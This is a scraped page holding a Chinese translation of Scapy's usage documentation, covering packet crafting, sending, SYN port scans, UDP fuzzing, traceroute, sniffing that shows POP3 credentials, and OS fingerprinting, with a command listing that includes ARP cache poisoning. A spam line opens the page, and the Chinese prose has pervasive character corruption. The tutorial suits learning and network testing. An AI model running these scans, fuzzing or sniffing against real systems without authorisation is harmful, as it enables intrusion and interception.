日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

Scapy 中文文档:三、使用方法

發(fā)布時(shí)間:2023/12/14 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Scapy 中文文档:三、使用方法 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

使用方法

譯者:Larry

來源:Scapy中文使用文檔

原文:Usage

協(xié)議:CC BY-NC-SA 2.5

0x01 起航Scapy

Scapy的交互shell是運(yùn)行在一個(gè)終端會(huì)話當(dāng)中。因?yàn)樾枰猺oot權(quán)限才能發(fā)送數(shù)據(jù)包,所以我們在這里使用sudo

$ sudo scapy Welcome to Scapy (2.0.1-dev) >>>

在Windows當(dāng)中,請打開命令提示符(cmd.exe),并確保您擁有管理員權(quán)限:

C:\>scapy INFO: No IPv6 support in kernel WARNING: No route found for IPv6 destination :: (no default route?) Welcome to Scapy (2.0.1-dev) >>>

如果您沒有安裝所有的可選包,Scapy將會(huì)告訴你有些功能不可用:

INFO: Can't import python gnuplot wrapper . Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

雖然沒有安裝,但發(fā)送和接收數(shù)據(jù)包的基本功能仍能有效。

0x02 互動(dòng)教程

本節(jié)將會(huì)告訴您一些Scapy的功能。讓我們按上文所述打開Scapy,親自嘗試些例子吧。

第一步

讓我們來建立一個(gè)數(shù)據(jù)包試一試

>>> a=IP(ttl=10) >>> a < IP ttl=10 |> >>> a.src ’127.0.0.1>>> a.dst="192.168.1.1" >>> a < IP ttl=10 dst=192.168.1.1 |> >>> a.src ’192.168.8.14>>> del(a.ttl) >>> a < IP dst=192.168.1.1 |> >>> a.ttl 64

堆加層次(OSI參考模型)

/操作符在兩層之間起到一個(gè)組合的作用。當(dāng)使用該操作符時(shí),下層可以根據(jù)其上層,使它的一個(gè)或多個(gè)默認(rèn)字段被重載。(您仍可以賦予您想要的值)一個(gè)字符串也可以被用作原料層(raw layer)。

>>> IP() <IP |> >>> IP()/TCP() <IP frag=0 proto=TCP |<TCP |>> >>> Ether()/IP()/TCP() <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>> >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" <IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>> >>> Ether()/IP()/IP()/UDP() <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>> >>> IP(proto=55)/TCP() <IP frag=0 proto=55 |<TCP |>>

每一個(gè)數(shù)據(jù)包都可以被建立或分解(注意:在Python中_(下劃線)是上一條語句執(zhí)行的結(jié)果):

>>> str(IP()) 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' >>> IP(_) <IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IPchksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |> >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" >>> hexdump(a) 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 0A . >>> b=str(a) >>> b '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0\xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' >>> c=Ether(b) >>> c <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4Lihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783csrc=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0Lack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

我們看到一個(gè)分解的數(shù)據(jù)包將其所有的字段填充。那是因?yàn)槲艺J(rèn)為,附加有原始字符串的字段都有它自身的價(jià)值。如果這太冗長,hide_defaults()方法將會(huì)刪除具有默認(rèn)值的字段:

>>> c.hide_defaults() >>> c <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5Lchksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

讀取PCAP文件

你可以從PCAP文件中讀取數(shù)據(jù)包,并將其寫入到一個(gè)PCAP文件中。

>>> a=rdpcap("/spare/captures/isakmp.cap") >>> a <isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

圖形轉(zhuǎn)儲(chǔ)(PDF,PS)

如果您已經(jīng)安裝PyX,您可以做一個(gè)數(shù)據(jù)包的圖形PostScript/ PDF轉(zhuǎn)儲(chǔ)(見下面丑陋的PNG圖像,PostScript/PDF則具有更好的質(zhì)量…)

>>> a[423].pdfdump(layer_shift=1) >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)

命令效果
str(pkt)組裝數(shù)據(jù)包
hexdump(pkt)十六進(jìn)制轉(zhuǎn)儲(chǔ)
ls(pkt)顯示出字段值的列表
pkt.summary()一行摘要
pkt.show()針對數(shù)據(jù)包的展開試圖
pkt.show2()顯示聚合的數(shù)據(jù)包(例如,計(jì)算好了校驗(yàn)和)
pkt.sprintf()用數(shù)據(jù)包字段填充格式字符串
pkt.decode_payload_as()改變payload的decode方式
pkt.psdump()繪制一個(gè)解釋說明的PostScript圖表
pkt.pdfdump()繪制一個(gè)解釋說明的PDF
pkt.command()返回可以生成數(shù)據(jù)包的Scapy命令

生成一組數(shù)據(jù)包

目前我們只是生成一個(gè)數(shù)據(jù)包。讓我們看看如何輕易地定制一組數(shù)據(jù)包。整個(gè)數(shù)據(jù)包的每一個(gè)字段(甚至是網(wǎng)絡(luò)層次)都可以是一組。在這里隱含地定義了一組數(shù)據(jù)包的概念,意即是使用所有區(qū)域之間的笛卡爾乘積來生成的一組數(shù)據(jù)包。

>>> a=IP(dst="www.slashdot.org/30") >>> a <IP dst=Net('www.slashdot.org/30') |> >>> [p for p in a] [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,<IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>] >>> b=IP(ttl=[1,2,(5,9)]) >>> b <IP ttl=[1, 2, (5, 9)] |> >>> [p for p in b] [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,<IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>] >>> c=TCP(dport=[80,443]) >>> [p for p in a/c] [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]

某些操作(如修改一個(gè)數(shù)據(jù)包中的字符串)無法對于一組數(shù)據(jù)包使用。在這些情況下,如果您忘記展開您的數(shù)據(jù)包集合,只有您忘記生成的列表中的第一個(gè)元素會(huì)被用于組裝數(shù)據(jù)包。

命令效果
summary()顯示一個(gè)關(guān)于每個(gè)數(shù)據(jù)包的摘要列表
nsummary()同上,但規(guī)定了數(shù)據(jù)包數(shù)量
conversations()顯示一個(gè)會(huì)話圖表
show()顯示首選表示(通常用nsummary())
filter()返回一個(gè)lambda過濾后的數(shù)據(jù)包列表
hexdump()返回所有數(shù)據(jù)包的一個(gè)hexdump
hexraw()返回所以數(shù)據(jù)包Raw layer的hexdump
padding()返回一個(gè)帶填充的數(shù)據(jù)包的hexdump
nzpadding()返回一個(gè)具有非零填充的數(shù)據(jù)包的hexdump
plot()規(guī)劃一個(gè)應(yīng)用到數(shù)據(jù)包列表的lambda函數(shù)
make table()根據(jù)lambda函數(shù)來顯示表格

發(fā)送數(shù)據(jù)包

現(xiàn)在我們知道了如何處理數(shù)據(jù)包。讓我們來看看如何發(fā)送它們。send()函數(shù)將會(huì)在第3層發(fā)送數(shù)據(jù)包。也就是說它會(huì)為你處理路由和第2層的數(shù)據(jù)。sendp()函數(shù)將會(huì)工作在第2層。選擇合適的接口和正確的鏈路層協(xié)議都取決于你。

>>> send(IP(dst="1.2.3.4")/ICMP()) . Sent 1 packets. >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") .... Sent 4 packets. >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) ................^C Sent 16 packets. >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay ........... Sent 11 packets.

Fuzzing

fuzz()函數(shù)可以通過一個(gè)具有隨機(jī)值、數(shù)據(jù)類型合適的對象,來改變?nèi)魏文J(rèn)值,但該值不能是被計(jì)算的(像校驗(yàn)和那樣)。這使得可以快速建立循環(huán)模糊化測試模板。在下面的例子中,IP層是正常的,UDP層和NTP層被fuzz。UDP的校驗(yàn)和是正確的,UDP的目的端口被NTP重載為123,而且NTP的版本被更變?yōu)?.其他所有的端口將被隨機(jī)分組:

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) ................^C Sent 16 packets.

發(fā)送和接收數(shù)據(jù)包(sr)

現(xiàn)在讓我們做一些有趣的事情。sr()函數(shù)是用來發(fā)送數(shù)據(jù)包和接收應(yīng)答。該函數(shù)返回一對數(shù)據(jù)包及其應(yīng)答,還有無應(yīng)答的數(shù)據(jù)包。sr1()函數(shù)是一種變體,用來返回一個(gè)應(yīng)答數(shù)據(jù)包。發(fā)送的數(shù)據(jù)包必須是第3層報(bào)文(IP,ARP等)。srp()則是使用第2層報(bào)文(以太網(wǎng),802.3等)。

>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") Begin emission: ...Finished to send 1 packets. .* Received 5 packets, got 1 answers, remaining 0 packets >>> p <IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMPchksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-replycode=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'|<Padding load='\x00\x00\x00\x00' |>>>> >>> p.show() ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 39 id = 15489 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x51dd src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]---type = echo-replycode = 0chksum = 0xee45id = 0x0seq = 0x0 ---[ Raw ]---load = 'XXXXXXXXXXX' ---[ Padding ]---load = '\x00\x00\x00\x00'

DNS查詢(rd = recursion desired)。主機(jī)192.168.5.1是我的DNS服務(wù)器。注意從我Linksys來的非空填充具有Etherleak缺陷:

>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) Begin emission: Finished to send 1 packets. ..* Received 3 packets, got 1 answers, remaining 0 packets <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d|<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>

發(fā)送和接收函數(shù)族是scapy中的核心部分。它們返回一對兩個(gè)列表。第一個(gè)就是發(fā)送的數(shù)據(jù)包及其應(yīng)答組成的列表,第二個(gè)是無應(yīng)答數(shù)據(jù)包組成的列表。為了更好地呈現(xiàn)它們,它們被封裝成一個(gè)對象,并且提供了一些便于操作的方法:

>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) Received 6 packets, got 3 answers, remaining 0 packets (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>) >>> ans,unans=_ >>> ans.summary() IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding

如果對于應(yīng)答數(shù)據(jù)包有速度限制,你可以通過inter參數(shù)來設(shè)置兩個(gè)數(shù)據(jù)包之間等待的時(shí)間間隔。如果有些數(shù)據(jù)包丟失了,或者設(shè)置時(shí)間間隔不足以滿足要求,你可以重新發(fā)送所有無應(yīng)答數(shù)據(jù)包。你可以簡單地對無應(yīng)答數(shù)據(jù)包列表再調(diào)用一遍函數(shù),或者去設(shè)置retry參數(shù)。如果retry設(shè)置為3,scapy會(huì)對無應(yīng)答的數(shù)據(jù)包重復(fù)發(fā)送三次。如果retry設(shè)為-3,scapy則會(huì)一直發(fā)送無應(yīng)答的數(shù)據(jù)包,直到。timeout參數(shù)設(shè)置在最后一個(gè)數(shù)據(jù)包發(fā)出去之后的等待時(shí)間:

SYN Scans

在Scapy提示符中執(zhí)行一下命令,可以對經(jīng)典的SYN Scan初始化:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))

以上向Google的80端口發(fā)送了一個(gè)SYN數(shù)據(jù)包,會(huì)在接收到一個(gè)應(yīng)答后退出:

Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets <IP version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244 proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// | <TCP sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] | <Padding load='V\xf7' |>>>

從以上的輸出中可以看出,Google返回了一個(gè)SA(SYN-ACK)標(biāo)志位,表示80端口是open的。

使用其他標(biāo)志位掃描一下系統(tǒng)的440到443端口:

>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))

或者

>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))

可以對收集的數(shù)據(jù)包進(jìn)行摘要(summary),來快速地瀏覽響應(yīng):

>>> ans,unans = _ >>> ans.summary() IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding

以上顯示了我們在掃描過程中的請求應(yīng)答對。我們也可以用一個(gè)循環(huán)只顯示我們感興趣的信息:

>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") ) 440 RA 441 RA 442 RA https SA

可以使用make_table()函數(shù)建立一個(gè)表格,更好地顯示多個(gè)目標(biāo)信息:

>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S")) Begin emission: .......*.**.......Finished to send 9 packets. **.*.*..*.................. Received 362 packets, got 8 answers, remaining 1 packets >>> ans.make_table( ... lambda(s,r): (s.dst, s.dport, ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))66.35.250.150 192.168.1.1 216.109.112.135 22 66.35.250.150 - dest-unreach RA - 80 SA RA SA 443 SA SA SA

在以上的例子中,如果接收到作為響應(yīng)的ICMP數(shù)據(jù)包而不是預(yù)期的TCP數(shù)據(jù)包,就會(huì)打印出ICMP差錯(cuò)類型(error type)。

對于更大型的掃描,我們可能對某個(gè)響應(yīng)感興趣,下面的例子就只顯示設(shè)置了”SA”標(biāo)志位的數(shù)據(jù)包:

>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA") 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA

如果我們想對響應(yīng)進(jìn)行專業(yè)分析,我們可以使用使用以下的命令顯示哪些端口是open的:

>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open")) https is open

對于更大型的掃描,我們可以建立一個(gè)端口開放表:

>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r): ... (s.dst, s.dport, "X"))66.35.250.150 192.168.1.1 216.109.112.135 80 X - X 443 X X X

如果以上的方法還不夠,Scapy還包含一個(gè)report_ports()函數(shù),該函數(shù)不僅可以自動(dòng)化SYN scan,而且還會(huì)對收集的結(jié)果以LaTeX形式輸出:

>>> report_ports("192.168.1.1",(440,443)) Begin emission: ...*.**Finished to send 4 packets. * Received 8 packets, got 4 answers, remaining 0 packets '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440& closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

TCP traceroute

TCP路由追蹤:

>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) *****.******.*.***..*.**Finished to send 22 packets. ***...... Received 33 packets, got 21 answers, remaining 1 packets >>> for snd,rcv in ans: ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP) ... 5 194.51.159.65 0 6 194.51.159.49 0 4 194.250.107.181 0 7 193.251.126.34 0 8 193.251.126.154 0 9 193.251.241.89 0 10 193.251.241.110 0 11 193.251.241.173 0 13 208.172.251.165 0 12 193.251.241.173 0 14 208.172.251.165 0 15 206.24.226.99 0 16 206.24.238.34 0 17 173.109.66.90 0 18 173.109.88.218 0 19 173.29.39.101 1 20 173.29.39.101 1 21 173.29.39.101 1 22 173.29.39.101 1 23 173.29.39.101 1 24 173.29.39.101 1

注意:TCP路由跟蹤和其他高級函數(shù)早已被構(gòu)造好了:

>>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the first answer srp : Send and receive packets at layer 2 srp1 : Send and receive packets at layer 2 and return only the first answer srloop : Send a packet at layer 3 in loop and print the answer each time srploop : Send a packet at layer 2 in loop and print the answer each time sniff : Sniff packets p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple send : Send packets at layer 3 sendp : Send packets at layer 2 traceroute : Instant TCP traceroute arping : Send ARP who-has requests to determine which hosts are up ls : List available layers, or infos on a given layer lsc : List user commands queso : Queso OS fingerprinting nmap_fp : nmap fingerprinting report_ports : portscan a target and output a LaTeX table dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_del : Send a DNS delete message to a nameserver for "name" [...]

配置高級sockets

發(fā)送和接收數(shù)據(jù)包的過程是相當(dāng)復(fù)雜的。

Sniffing

我們可以簡單地捕獲數(shù)據(jù)包,或者是克隆tcpdump或tethereal的功能。如果沒有指定interface,則會(huì) 在所有的interface上進(jìn)行嗅探:

>>> sniff(filter="icmp and host 66.35.250.151", count=2) <Sniffed: UDP:0 TCP:0 ICMP:2 Other:0> >>> a=_ >>> a.nsummary() 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw >>> a[1] <Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4Lihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>> >>> sniff(iface="wifi0", prn=lambda x: x.summary()) 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw >>> sniff(iface="eth1", prn=lambda x: x.show()) ---[ Ethernet ]--- dst = 00:ae:f3:52:aa:d1 src = 00:02:15:37:a2:44 type = 0x800 ---[ IP ]---version = 4Lihl = 5Ltos = 0x0len = 84id = 0flags = DFfrag = 0Lttl = 64proto = ICMPchksum = 0x3831src = 192.168.5.21dst = 66.35.250.151options = '' ---[ ICMP ]---type = echo-requestcode = 0chksum = 0x89d9id = 0xc245seq = 0x0 ---[ Raw ]---load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Ethernet ]--- dst = 00:02:15:37:a2:44 src = 00:ae:f3:52:aa:d1 type = 0x800 ---[ IP ]---version = 4Lihl = 5Ltos = 0x0len = 84id = 2070flags =frag = 0Lttl = 42proto = ICMPchksum = 0x861bsrc = 66.35.250.151dst = 192.168.5.21options = '' ---[ ICMP ]---type = echo-replycode = 0chksum = 0x91d9id = 0xc245seq = 0x0 ---[ Raw ]---load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Padding ]---load = '\n_\x00\x0b'

對于控制輸出信息,我們可以使用sprintf()函數(shù):

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) 192.168.1.100 -> 64.233.167.99 64.233.167.99 -> 192.168.1.100 192.168.1.100 -> 64.233.167.99 192.168.1.100 -> 64.233.167.99 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

我們可以嗅探并進(jìn)行被動(dòng)操作系統(tǒng)指紋識(shí)別:

>>> p <Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4Lihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85esrc=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>> >>> load_module("p0f") >>> p0f(p) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) >>> a=sniff(prn=prnp0f) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) (1.0, ['Windows 2000 (9)'])

猜測操作系統(tǒng)版本前的數(shù)字為猜測的精確度。

Filters

演示一下bpf過濾器和sprintf()方法:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) 192.168.8.10:47226 -> 213.228.0.14:110 S : 213.228.0.14:110 -> 192.168.8.10:47226 SA : 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto 213.228.0.14:110 -> 192.168.8.10:47226 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 FA : 192.168.8.10:47226 -> 213.228.0.14:110 FA : 213.228.0.14:110 -> 192.168.8.10:47226 A :

在循環(huán)中接收和發(fā)送

這兒有一個(gè)例子來實(shí)現(xiàn)類似(h)ping的功能:你一直發(fā)送同樣的數(shù)據(jù)包集合來觀察是否發(fā)生變化:

>>> srloop(IP(dst="www.target.com/30")/TCP()) RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 SIP / TCP 192.168.8.14:20 > 192.168.11.98:80 SIP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 SIP / TCP 192.168.8.14:20 > 192.168.11.98:80 SIP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 SIP / TCP 192.168.8.14:20 > 192.168.11.98:80 SIP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 SIP / TCP 192.168.8.14:20 > 192.168.11.98:80 SIP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

導(dǎo)入和導(dǎo)出數(shù)據(jù)

PCAP

通常可以將數(shù)據(jù)包保存為pcap文件以備后用,或者是供其他的應(yīng)用程序使用:

>>> wrpcap("temp.cap",pkts)

還原之前保存的pcap文件:

>>> pkts = rdpcap("temp.cap")

或者

>>> pkts = rdpcap("temp.cap")

Hexdump

Scapy允許你以不同的十六進(jìn)制格式輸出編碼的數(shù)據(jù)包。

